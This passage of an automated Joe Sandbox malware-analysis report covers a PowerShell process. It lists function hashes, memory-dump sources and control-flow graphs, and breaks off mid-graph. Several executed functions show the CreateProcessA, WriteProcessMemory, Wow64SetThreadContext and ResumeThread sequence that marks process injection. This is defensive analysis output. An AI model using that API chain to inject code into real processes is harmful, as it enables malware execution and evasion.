                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
                                                        • Instruction ID: 69e79bbb683a086c47b693a6355e6de7d771bf2d44f257c0ab0b44f76e8c5d76
                                                        • Opcode Fuzzy Hash: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
                                                        • Instruction Fuzzy Hash: F201677121CB0C4FD754EF0CE491AA5B7E0FB95364F10056DE58AC3651DA36E882CB45
                                                        Function 00007FFD3479414D Relevance: .0, Instructions: 37COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000006.00000002.2854080764.00007FFD34790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34790000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_6_2_7ffd34790000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 87884278ae18fbaef11575bec0a15a5af0a9c251b0c468401ccf1a6e67458eae
                                                        • Instruction ID: 765dbca07eea41a946e84f231c856ed3e9ab63c70f7f66f251ae05591e784c19
                                                        • Opcode Fuzzy Hash: 87884278ae18fbaef11575bec0a15a5af0a9c251b0c468401ccf1a6e67458eae
                                                        • Instruction Fuzzy Hash: 46F0BE32B4C6048FD768EA4CE4914A873E0EF5632071100BAE25DC75A3CA29FC44C781
                                                        Function 00007FFD34794400 Relevance: .0, Instructions: 35COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000006.00000002.2854080764.00007FFD34790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34790000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_6_2_7ffd34790000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: a8f884321a57a3ee121a3e4b298892386ff3858ed33f0b3f11651a5badcbff60
                                                        • Instruction ID: 2fb56b41d8b97e7c3e9e46f400824e9e1d9f435883ca0e4141e131c1e221b7d8
                                                        • Opcode Fuzzy Hash: a8f884321a57a3ee121a3e4b298892386ff3858ed33f0b3f11651a5badcbff60
                                                        • Instruction Fuzzy Hash: 9DF08272B0C6448FDB54EB4CE4954A877E0FF4632475500B6E25DC7463DA29FC44D790
                                                        Function 00007FFD347941D1 Relevance: .0, Instructions: 29COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000006.00000002.2854080764.00007FFD34790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34790000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_6_2_7ffd34790000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 05dd94a12dc45e8f7da9c60e7e1a12ab84c0b153eba5a8a472aa7bc71ce4f1d8
                                                        • Instruction ID: 66369ca481c88e5c4de73e6f83d4c53a0aa7f2a7e66bf06b25a2cbdb297c1f94
                                                        • Opcode Fuzzy Hash: 05dd94a12dc45e8f7da9c60e7e1a12ab84c0b153eba5a8a472aa7bc71ce4f1d8
                                                        • Instruction Fuzzy Hash: 0BE01A31B4C818DFDA68DA0CE0909A973E1EB9932171101B7D24EC7661CA26FC519BC0

                                                        Non-executed Functions

                                                        Function 00007FFD346C85FA Relevance: 6.4, Strings: 5, Instructions: 117COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000006.00000002.2845698443.00007FFD346C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD346C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_6_2_7ffd346c0000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: N_^$N_^$N_^$N_^$N_^
                                                        • API String ID: 0-2528851458
                                                        • Opcode ID: 1a3e9aeaa83a67f369debae4bedad94634674f9695f0e6b90a1208d5b40e199f
                                                        • Instruction ID: 438c0f9a511a70f578f287adc160d2ee68fccc9357606a9d6959a2a85431f1db
                                                        • Opcode Fuzzy Hash: 1a3e9aeaa83a67f369debae4bedad94634674f9695f0e6b90a1208d5b40e199f
                                                        • Instruction Fuzzy Hash: 7341A567F0D6E31BE7766A294DB90DA2BD0EF1332570914F6C6D8CB083DE1D28076246
                                                        Function 00007FFD346C86D3 Relevance: 5.1, Strings: 4, Instructions: 143COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000006.00000002.2845698443.00007FFD346C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD346C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_6_2_7ffd346c0000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: N_^$N_^$N_^$N_^
                                                        • API String ID: 0-3900292545
                                                        • Opcode ID: 3b500769d851abd4b7e1fb79c27899b4091603687279e6b651d057d1f1c51f1e
                                                        • Instruction ID: 3bf4897761a0759a7189fb7f2e6ba403b8c151e55ea43302ef1b79c1c46e2435
                                                        • Opcode Fuzzy Hash: 3b500769d851abd4b7e1fb79c27899b4091603687279e6b651d057d1f1c51f1e
                                                        • Instruction Fuzzy Hash: EE418163A4D6D61FE7679A2D4DB90D92FE0AF53218B0910FAC6C8CB093EE1C58079352
                                                        Function 00007FFD346C8BFA Relevance: 7.6, Strings: 6, Instructions: 93COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000006.00000002.2845698443.00007FFD346C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD346C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_6_2_7ffd346c0000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: N_^=$N_^@$N_^T$N_^U$N_^W$N_^Y
                                                        • API String ID: 0-17849902
                                                        • Opcode ID: afc1862cce5467799516e70d9e20a1ad307e5fbfa3f8a799eea96af8ed92217d
                                                        • Instruction ID: c8b9ab2877c3476fcd2e8302d505e1c64b92cf2fe0d09e5e68dc7c4d6e2e0b0a
                                                        • Opcode Fuzzy Hash: afc1862cce5467799516e70d9e20a1ad307e5fbfa3f8a799eea96af8ed92217d
                                                        • Instruction Fuzzy Hash: 722123B3B185255AD31136EDFC612EA3B84EF9137634501F2D398DB203DC64A88B86C2
                                                        Function 00007FFD346C851B Relevance: 5.1, Strings: 4, Instructions: 65COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000006.00000002.2845698443.00007FFD346C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD346C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_6_2_7ffd346c0000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: N_^$N_^$N_^$N_^
                                                        • API String ID: 0-3900292545
                                                        • Opcode ID: 70fdf2bb08dd347584e79ae0647120542f5073904bfa99d96e32635807be025f
                                                        • Instruction ID: 5e9ce241f2f550f58fa1cc720d4e52c996b77e700c145bb8b88a66f5678bbbdf
                                                        • Opcode Fuzzy Hash: 70fdf2bb08dd347584e79ae0647120542f5073904bfa99d96e32635807be025f
                                                        • Instruction Fuzzy Hash: 6C11A296F0E6D31FE7A746290CB90DA2FD1AF5332574D10F6C2D8CA083EA4D5C07A202

                                                        Executed Functions

                                                        Function 00007FFD346E33B5 Relevance: .0, Instructions: 49COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000008.00000002.2367685266.00007FFD346E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD346E0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_8_2_7ffd346e0000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
                                                        • Instruction ID: ec6f9247cf9ac95638ffcd0915c455a09b01f6582a8eda7def5c0c05574af661
                                                        • Opcode Fuzzy Hash: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
                                                        • Instruction Fuzzy Hash: 3801677121CB0C4FD754EF0CE451AA6B7E0FB95364F10056DE58AC3651DA36E882CB45

                                                        Execution Graph

                                                        Execution Coverage:6%
                                                        Dynamic/Decrypted Code Coverage:0%
                                                        Signature Coverage:0%
                                                        Total number of Nodes:13
                                                        Total number of Limit Nodes:0
                                                        execution_graph 3646 7ffd346e9b18 3647 7ffd346e9b21 Wow64SetThreadContext 3646->3647 3649 7ffd346e9be4 3647->3649 3650 7ffd346ea084 3651 7ffd346ea08d 3650->3651 3651->3651 3652 7ffd346ea3a3 CreateProcessA 3651->3652 3653 7ffd346ea42f 3652->3653 3654 7ffd346e9d24 3655 7ffd346e9d2d WriteProcessMemory 3654->3655 3657 7ffd346e9e26 3655->3657 3658 7ffd346e9a1d 3659 7ffd346e9a2b ResumeThread 3658->3659 3661 7ffd346e9ae6 3659->3661

                                                        Executed Functions

                                                        Function 00007FFD347B042A Relevance: 2.5, Strings: 1, Instructions: 1271COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 0000000D.00000002.2810832900.00007FFD347B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347B0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_13_2_7ffd347b0000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: 0,n4
                                                        • API String ID: 0-988949157
                                                        • Opcode ID: 64fe21e5bae7183a1a34081a2bfe556d0fda77efaa7567257271c84b606ebd7a
                                                        • Instruction ID: f30376ba40d51a438c70b49a39370f54d1d4c6191d5df653b2bccb0ddda0ef3f
                                                        • Opcode Fuzzy Hash: 64fe21e5bae7183a1a34081a2bfe556d0fda77efaa7567257271c84b606ebd7a
                                                        • Instruction Fuzzy Hash: F08201A2B0EBC98FE7A69A2848B45B57BE0EF57214B0801FBD18DC7193DD5CBC059391
                                                        Function 00007FFD346EA084 Relevance: 1.9, APIs: 1, Instructions: 436processCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 241 7ffd346ea084-7ffd346ea08b 242 7ffd346ea096-7ffd346ea164 241->242 243 7ffd346ea08d-7ffd346ea095 241->243 247 7ffd346ea166-7ffd346ea175 242->247 248 7ffd346ea1c2-7ffd346ea1f4 242->248 243->242 247->248 249 7ffd346ea177-7ffd346ea17a 247->249 253 7ffd346ea1f6-7ffd346ea205 248->253 254 7ffd346ea252-7ffd346ea2c6 248->254 251 7ffd346ea17c-7ffd346ea18f 249->251 252 7ffd346ea1b4-7ffd346ea1bc 249->252 255 7ffd346ea193-7ffd346ea1a6 251->255 256 7ffd346ea191 251->256 252->248 253->254 258 7ffd346ea207-7ffd346ea20a 253->258 264 7ffd346ea2c8-7ffd346ea2d7 254->264 265 7ffd346ea324-7ffd346ea42d CreateProcessA 254->265 255->255 257 7ffd346ea1a8-7ffd346ea1b0 255->257 256->255 257->252 259 7ffd346ea20c-7ffd346ea21f 258->259 260 7ffd346ea244-7ffd346ea24c 258->260 262 7ffd346ea223-7ffd346ea236 259->262 263 7ffd346ea221 259->263 260->254 262->262 267 7ffd346ea238-7ffd346ea240 262->267 263->262 264->265 266 7ffd346ea2d9-7ffd346ea2dc 264->266 276 7ffd346ea435-7ffd346ea4c6 call 7ffd346ea4e2 265->276 277 7ffd346ea42f 265->277 268 7ffd346ea316-7ffd346ea31e 266->268 269 7ffd346ea2de-7ffd346ea2f1 266->269 267->260 268->265 271 7ffd346ea2f5-7ffd346ea308 269->271 272 7ffd346ea2f3 269->272 271->271 274 7ffd346ea30a-7ffd346ea312 271->274 272->271 274->268 286 7ffd346ea4c8 276->286 287 7ffd346ea4cd-7ffd346ea4e1 276->287 277->276 286->287
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 0000000D.00000002.2797529857.00007FFD346E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD346E0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_13_2_7ffd346e0000_powershell.jbxd
                                                        Similarity
                                                        • API ID: CreateProcess
                                                        • String ID:
                                                        • API String ID: 963392458-0
                                                        • Opcode ID: bfb8ab745efe92e8c4ee3512fccbcee575b8ce8a7521da76f11fc09b5b8e87e1
                                                        • Instruction ID: 99882aac1fae9e8854da89acbf534a97b35bf08b177f972750a61c144295b6bb
                                                        • Opcode Fuzzy Hash: bfb8ab745efe92e8c4ee3512fccbcee575b8ce8a7521da76f11fc09b5b8e87e1
                                                        • Instruction Fuzzy Hash: 4CD19730618A8D8FDB64DF18DC967E977E1FF59310F14422ED84DC7291DE78A9818B82
                                                        Function 00007FFD346E9D24 Relevance: 1.6, APIs: 1, Instructions: 150injectionCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 288 7ffd346e9d24-7ffd346e9d2b 289 7ffd346e9d36-7ffd346e9d4a 288->289 290 7ffd346e9d2d-7ffd346e9d35 288->290 291 7ffd346e9d4c-7ffd346e9d7f 289->291 292 7ffd346e9d80-7ffd346e9dc5 289->292 290->289 291->292 296 7ffd346e9dc7-7ffd346e9dcc 292->296 297 7ffd346e9dcf-7ffd346e9e24 WriteProcessMemory 292->297 296->297 299 7ffd346e9e2c-7ffd346e9e5d 297->299 300 7ffd346e9e26 297->300 300->299
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 0000000D.00000002.2797529857.00007FFD346E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD346E0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_13_2_7ffd346e0000_powershell.jbxd
                                                        Similarity
                                                        • API ID: MemoryProcessWrite
                                                        • String ID:
                                                        • API String ID: 3559483778-0
                                                        • Opcode ID: ddc7897709e698bd0ce964e629d2fd66c61a380eba08b846b88054d3fa8aa376
                                                        • Instruction ID: 3881a7f38f0f262cdb04cfca651106924851a5f6ebe1e536810184febd9486b0
                                                        • Opcode Fuzzy Hash: ddc7897709e698bd0ce964e629d2fd66c61a380eba08b846b88054d3fa8aa376
                                                        • Instruction Fuzzy Hash: 3F41C771D0CB5C4FDB28DF9898566EA7BE0EF95311F04426FE489D3292CE74A8458B81
                                                        Function 00007FFD346E9B18 Relevance: 1.6, APIs: 1, Instructions: 129threadCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 302 7ffd346e9b18-7ffd346e9b1f 303 7ffd346e9b2a-7ffd346e9b3a 302->303 304 7ffd346e9b21-7ffd346e9b29 302->304 305 7ffd346e9b3c-7ffd346e9b6f 303->305 306 7ffd346e9b70-7ffd346e9b9d 303->306 304->303 305->306 310 7ffd346e9ba7-7ffd346e9be2 Wow64SetThreadContext 306->310 311 7ffd346e9b9f-7ffd346e9ba4 306->311 313 7ffd346e9bea-7ffd346e9c19 310->313 314 7ffd346e9be4 310->314 311->310 314->313
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 0000000D.00000002.2797529857.00007FFD346E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD346E0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_13_2_7ffd346e0000_powershell.jbxd
                                                        Similarity
                                                        • API ID: ContextThreadWow64
                                                        • String ID:
                                                        • API String ID: 983334009-0
                                                        • Opcode ID: 82fd012eecc7043350c7fa1ad1b40d0212cc918fb8594c28b046a88bd560442e
                                                        • Instruction ID: 11b6123a02e3d91c00f7d86322679d9347930087bf593107996eaacb3662717a
                                                        • Opcode Fuzzy Hash: 82fd012eecc7043350c7fa1ad1b40d0212cc918fb8594c28b046a88bd560442e
                                                        • Instruction Fuzzy Hash: FF31F831D0CB584FDB289FA898566FA7BE1EF56311F04423FD08AD3192DF74A44A8B81
                                                        Function 00007FFD346E9A1D Relevance: 1.6, APIs: 1, Instructions: 120threadCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 316 7ffd346e9a1d-7ffd346e9a29 317 7ffd346e9a2b-7ffd346e9a33 316->317 318 7ffd346e9a34-7ffd346e9a43 316->318 317->318 319 7ffd346e9a45-7ffd346e9a4d 318->319 320 7ffd346e9a4e-7ffd346e9a5a 318->320 319->320 321 7ffd346e9a5c-7ffd346e9a8f 320->321 322 7ffd346e9a90-7ffd346e9ae4 ResumeThread 320->322 321->322 327 7ffd346e9aec-7ffd346e9b11 322->327 328 7ffd346e9ae6 322->328 328->327
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 0000000D.00000002.2797529857.00007FFD346E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD346E0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_13_2_7ffd346e0000_powershell.jbxd
                                                        Similarity
                                                        • API ID: ResumeThread
                                                        • String ID:
                                                        • API String ID: 947044025-0
                                                        • Opcode ID: e19ee36fdbe31735a2797d6ae5bba1446362297349bcaf6fdc198b9716c8497b
                                                        • Instruction ID: 6340c06940eb17a9e3240d35dedaa3328c2bff9f4523bd3d074c7f6f0ee5ba2a
                                                        • Opcode Fuzzy Hash: e19ee36fdbe31735a2797d6ae5bba1446362297349bcaf6fdc198b9716c8497b
                                                        • Instruction Fuzzy Hash: E8312930A0D7884FDB1ADFA888566EA7FE0EF57320F0841AFC089C7193CA786446CB51
                                                        Function 00007FFD347B0004 Relevance: .4, Instructions: 399COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 380 7ffd347b0004-7ffd347b0019 382 7ffd347b001c-7ffd347b0061 380->382 383 7ffd347b0093-7ffd347b00a6 380->383 395 7ffd347b00db 382->395 396 7ffd347b0064-7ffd347b0072 382->396 392 7ffd347b00a8-7ffd347b00b8 383->392 399 7ffd347b00ba-7ffd347b00bd 392->399 400 7ffd347b00de-7ffd347b0119 392->400 396->392 398 7ffd347b0074-7ffd347b0088 396->398 402 7ffd347b00be-7ffd347b00d8 398->402 405 7ffd347b008a-7ffd347b008d 398->405 399->402 409 7ffd347b011c-7ffd347b0132 400->409 410 7ffd347b0193-7ffd347b01a3 400->410 402->395 405->383 413 7ffd347b0168-7ffd347b017c 409->413 414 7ffd347b0134-7ffd347b0155 409->414 416 7ffd347b01a5-7ffd347b01a6 410->416 417 7ffd347b01e0-7ffd347b01f9 410->417 419 7ffd347b017e-7ffd347b0185 413->419 423 7ffd347b01fc-7ffd347b0228 414->423 424 7ffd347b015b-7ffd347b0165 414->424 420 7ffd347b01a7-7ffd347b01cf 416->420 422 7ffd347b0187-7ffd347b0191 419->422 419->423 426 7ffd347b01d3-7ffd347b01de 420->426 422->410 422->420 429 7ffd347b02a8-7ffd347b02ae 423->429 430 7ffd347b022a 423->430 424->419 425 7ffd347b0167 424->425 425->413 426->417 431 7ffd347b02ba-7ffd347b02be 429->431 432 7ffd347b02b0-7ffd347b02b3 429->432 433 7ffd347b022c-7ffd347b0249 430->433 434 7ffd347b02a3 430->434 438 7ffd347b02c3-7ffd347b02fa 431->438 435 7ffd347b02b4-7ffd347b02b9 432->435 433->438 441 7ffd347b024c-7ffd347b0262 433->441 434->435 436 7ffd347b02a4-7ffd347b02a7 434->436 436->429 442 7ffd347b0298 441->442 443 7ffd347b0264-7ffd347b0283 441->443 446 7ffd347b0299-7ffd347b02a1 442->446 443->436 450 7ffd347b0285-7ffd347b0288 443->450 450->436 451 7ffd347b028a-7ffd347b0297 450->451 451->446
                                                        Memory Dump Source
                                                        • Source File: 0000000D.00000002.2810832900.00007FFD347B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347B0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_13_2_7ffd347b0000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: cc571d5c5df57656a4180e773fa0a929bf9c6368fa8bc45615319a7fea426801
                                                        • Instruction ID: c62033214471fa830bba470e4ea842aaa3bdd34582fd2a35dde1d95c4b781330
                                                        • Opcode Fuzzy Hash: cc571d5c5df57656a4180e773fa0a929bf9c6368fa8bc45615319a7fea426801
                                                        • Instruction Fuzzy Hash: 71C1B392B0EBC68FEB968A2848E45643FE0DF57214B0905FBD188CB193DD5CBC49D391
                                                        Function 00007FFD347B0A68 Relevance: .1, Instructions: 148COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 452 7ffd347b0a68-7ffd347b0a7a 453 7ffd347b0a7c-7ffd347b0aa1 452->453 454 7ffd347b0ab0-7ffd347b0ae4 452->454 457 7ffd347b0b1b 453->457 458 7ffd347b0aa4-7ffd347b0aa8 453->458 464 7ffd347b0c09-7ffd347b0c5b 454->464 465 7ffd347b0aea-7ffd347b0af4 454->465 460 7ffd347b0baa-7ffd347b0bb4 457->460 461 7ffd347b0b21-7ffd347b0b24 457->461 462 7ffd347b0aac-7ffd347b0aae 458->462 463 7ffd347b0aaa 458->463 468 7ffd347b0bb6-7ffd347b0bc2 460->468 469 7ffd347b0bc3-7ffd347b0be9 460->469 470 7ffd347b0b26-7ffd347b0b49 461->470 471 7ffd347b0b4b 461->471 462->454 463->462 488 7ffd347b0beb-7ffd347b0c06 464->488 489 7ffd347b0c5d-7ffd347b0c63 464->489 466 7ffd347b0af6-7ffd347b0b03 465->466 467 7ffd347b0b0d-7ffd347b0b12 465->467 466->467 477 7ffd347b0b05-7ffd347b0b0b 466->477 467->460 474 7ffd347b0b18-7ffd347b0b19 467->474 469->488 476 7ffd347b0b4d-7ffd347b0b4f 470->476 471->476 474->457 476->460 480 7ffd347b0b51-7ffd347b0b5b 476->480 477->467 480->460 487 7ffd347b0b5d-7ffd347b0b67 480->487 491 7ffd347b0b69-7ffd347b0b73 487->491 488->464 493 7ffd347b0c65-7ffd347b0c8c 489->493 494 7ffd347b0c8e-7ffd347b0cb9 489->494 495 7ffd347b0b7a-7ffd347b0b83 491->495 493->494 504 7ffd347b0cbb 494->504 505 7ffd347b0cbc-7ffd347b0ccd 494->505 497 7ffd347b0b85-7ffd347b0b92 495->497 498 7ffd347b0b9c-7ffd347b0ba9 495->498 497->498 502 7ffd347b0b94-7ffd347b0b9a 497->502 502->498 504->505 506 7ffd347b0ccf 505->506 507 7ffd347b0cd0-7ffd347b0ce2 505->507 506->507 509 7ffd347b0d5b-7ffd347b0d62 507->509 510 7ffd347b0ce4-7ffd347b0d19 507->510 514 7ffd347b0d93-7ffd347b0da8 509->514 513 7ffd347b0d1c-7ffd347b0d53 510->513 510->514 519 7ffd347b0d59-7ffd347b0d5a 513->519 520 7ffd347b0e32-7ffd347b0e3c 513->520 517 7ffd347b0db5-7ffd347b0e2f 514->517 518 7ffd347b0daa-7ffd347b0db3 514->518 517->520 518->517 519->509 521 7ffd347b0e48-7ffd347b0e88 520->521 522 7ffd347b0e3e-7ffd347b0e47 520->522
                                                        Memory Dump Source
                                                        • Source File: 0000000D.00000002.2810832900.00007FFD347B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347B0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_13_2_7ffd347b0000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 925e4f0f97e82de13f610b0829445a60a94f7beeddae0ee8f5ece30330e4846c
                                                        • Instruction ID: b13ebea67bbee18d16d1f9670cbd96c8ebb2a658318cb92d096d2a16361c8298
                                                        • Opcode Fuzzy Hash: 925e4f0f97e82de13f610b0829445a60a94f7beeddae0ee8f5ece30330e4846c
                                                        • Instruction Fuzzy Hash: F441C162B0DBCA8FE7A6962808B52B67BE1DF57304B0901FAD58CC7193DD5CBC05A391
                                                        Function 00007FFD347B00DD Relevance: .1, Instructions: 143COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        Memory Dump Source
                                                        • Source File: 0000000D.00000002.2810832900.00007FFD347B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD347B0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_13_2_7ffd347b0000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: f6bf433717606a0b526ffcca9cee1eac994e4b68b13a36f839c6df50f773d2ca
                                                        • Instruction ID: af3616ab86fbe17d8d4b705e49b5ce9a0a7a1069b999a0828932671a38b1b724
                                                        • Opcode Fuzzy Hash: f6bf433717606a0b526ffcca9cee1eac994e4b68b13a36f839c6df50f773d2ca
                                                        • Instruction Fuzzy Hash: 1E415F61B0DAC98FDB4ADF2888A09247BA1EF67304B1901EBC189CB293D959FC45D791
                                                        Function 00007FFD347B05B9 Relevance: .1, Instructions: 86COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 599 7ffd347b05b9-7ffd347b05c5 601 7ffd347b05cb-7ffd347b05ce 599->601 602 7ffd347b0670-7ffd347b067a 599->602 605 7ffd347b05e5 601->605 606 7ffd347b05d0-7ffd347b05e3 601->606 603 7ffd347b068b-7ffd347b06a9 602->603 604 7ffd347b067c-7ffd347b068a 602->604 617 7ffd347b06ab-7ffd347b06b9 603->617 607 7ffd347b05e7-7ffd347b05e9 605->607 606->607 607->602 610 7ffd347b05ef-7ffd347b05f5 607->610 611 7ffd347b05f7-7ffd347b0604 610->611 612 7ffd347b0611-7ffd347b0617 610->612 611->612 618 7ffd347b0606-7ffd347b060f 611->618 615 7ffd347b0619-7ffd347b0631 612->615 616 7ffd347b0633-7ffd347b0637 612->616 615->616 621 7ffd347b063e-7ffd347b0647 616->621 624 7ffd347b06bb-7ffd347b0717 617->624 618->612 625 7ffd347b0649-7ffd347b0656 621->625 626 7ffd347b0660-7ffd347b066f 621->626 624->617 634 7ffd347b0719-7ffd347b072b 624->634 625->626 629 7ffd347b0658-7ffd347b065e 625->629 629->626 634->624 636 7ffd347b072d-7ffd347b0733 634->636 638 7ffd347b0735-7ffd347b075c 636->638 639 7ffd347b075e-7ffd347b0787 636->639 638->639 644 7ffd347b0789 639->644 645 7ffd347b078e-7ffd347b079f 639->645 644->645 646 7ffd347b078b 644->646 647 7ffd347b07a6-7ffd347b07c2 645->647 648 7ffd347b07a1 645->648 646->645 650 7ffd347b083b-7ffd347b083e 647->650 651 7ffd347b07c4-7ffd347b07ca 647->651 648->647 649 7ffd347b07a3 648->649 649->647 652 7ffd347b0840-7ffd347b0847 650->652 653 7ffd347b07cb-7ffd347b07f0 651->653 654 7ffd347b0800-7ffd347b0802 651->654 663 7ffd347b0849-7ffd347b0861 652->663 664 7ffd347b0863-7ffd347b0867 652->664 659 7ffd347b086b-7ffd347b0870 653->659 660 7ffd347b07f4-7ffd347b07fe 653->660 656 7ffd347b0838 654->656 657 7ffd347b0804-7ffd347b080a 654->657 656->650 657->652 662 7ffd347b080c-7ffd347b0837 657->662 665 7ffd347b0930-7ffd347b093a 659->665 666 7ffd347b0872-7ffd347b0879 659->666 660->654 662->656 672 7ffd347b098f-7ffd347b09e1 662->672 663->664 664->659 668 7ffd347b093c-7ffd347b0948 665->668 669 7ffd347b0949-7ffd347b096f 665->669 666->665 671 7ffd347b087f-7ffd347b0887 666->671 694 7ffd347b0971-7ffd347b098c 669->694 671->672 673 7ffd347b088d-7ffd347b0897 671->673 672->694 697 7ffd347b09e3-7ffd347b09e9 672->697 675 7ffd347b0899-7ffd347b08a9 673->675 676 7ffd347b08b0-7ffd347b08b4 673->676 683 7ffd347b08ab-7ffd347b08ae 675->683 684 7ffd347b08df-7ffd347b08f9 675->684 676->665 680 7ffd347b08b6-7ffd347b08b9 676->680 685 7ffd347b08bb-7ffd347b08c4 680->685 686 7ffd347b08d0-7ffd347b08d4 680->686 683->676 695 7ffd347b08fb-7ffd347b0909 684->695 685->686 686->665 692 7ffd347b08d6-7ffd347b08dc 686->692 692->695 696 7ffd347b08de 692->696 694->672 703 7ffd347b090b-7ffd347b0918 695->703 704 7ffd347b0922-7ffd347b092f 695->704 696->684 700 7ffd347b09eb-7ffd347b0a12 697->700 701 7ffd347b0a14-7ffd347b0a20 697->701 700->701 707 7ffd347b0a2a-7ffd347b0a41 701->707 703->704 708 7ffd347b091a-7ffd347b0920 703->708 711 7ffd347b0a43 707->711 712 7ffd347b0a44-7ffd347b0a55 707->712 708->704 711->712 714 7ffd347b0a57 712->714 715 7ffd347b0a58-7ffd347b0a69 712->715 714->715 716 7ffd347b0ae6-7ffd347b0af4 715->716 717 7ffd347b0a6b 715->717 718 7ffd347b0af6-7ffd347b0b03 716->718 719 7ffd347b0b0d-7ffd347b0b12 716->719 720 7ffd347b0a78 717->720 721 7ffd347b0a6d-7ffd347b0a77 717->721 718->719 726 7ffd347b0b05-7ffd347b0b0b 718->726 723 7ffd347b0b18-7ffd347b0b19 719->723 724 7ffd347b0baa-7ffd347b0bb4 